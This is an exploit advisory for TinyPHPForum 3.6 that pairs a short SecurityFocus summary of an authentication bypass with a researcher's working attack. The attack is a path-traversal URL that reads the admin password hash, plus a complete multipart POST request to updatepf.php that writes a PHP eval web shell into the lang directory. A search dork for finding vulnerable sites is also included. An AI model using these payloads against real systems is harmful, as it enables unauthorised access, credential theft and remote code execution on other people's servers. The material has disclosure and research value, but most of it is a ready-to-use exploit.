TinyPHPForum 3.6 - 'UpdatePF.php' Authentication Bypass

source: https://www.securityfocus.com/bid/19281/info

TinyPHPForum is prone to an authentication-bypass vulnerability because it fails to prevent an attacker from accessing admin scripts directly without requiring authentication.

A remote attacker can exploit this issue to perform administrative functions without requiring authentication. For example, the attacker may be able to create administrative users for the affected application.

===============================================================================================

Found : brain[pillow]
Dork  : "Powered by TinyPHPForum v3.61"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : [email protected]

===============================================================================================

        File read (f.e. file with admin's hash):

/index.php?f=1&t=8../../../../users/admin.hash%00

===============================================================================================

        Code exec:

Just send this fucking evil packet for registration and the shell will be created there: /lang/cekac.php.skin?c=[eval code]

POST /updatepf.php HTTP/1.1
User-Agent: Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Referer: http://www.example.com/profile.php?action=new
Cookie: PHPSESSID=a2b64d278abd18347c1fd3c27a6dc1f2;
Connection: Keep-Alive
Content-Length: 1235
Content-Type: multipart/form-data; boundary=----------feIyX3Pd15MPzClqGeALKe

------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="sessionid"

a2b64d278abd18347c1fd3c27a6dc1f2
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uname"

../lang/cekac.php
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="ulang"

big5
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="uskin"

<?php eval($_GET[c]);?>
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="email"

[email protected]
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p1"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="p2"

123qwe
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="stat"

hack the planet
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="avatar"

image/avatars/bird1.jpg
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10240
------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="userfile"; filename=""


------------feIyX3Pd15MPzClqGeALKe
Content-Disposition: form-data; name="type"

new
------------feIyX3Pd15MPzClqGeALKe--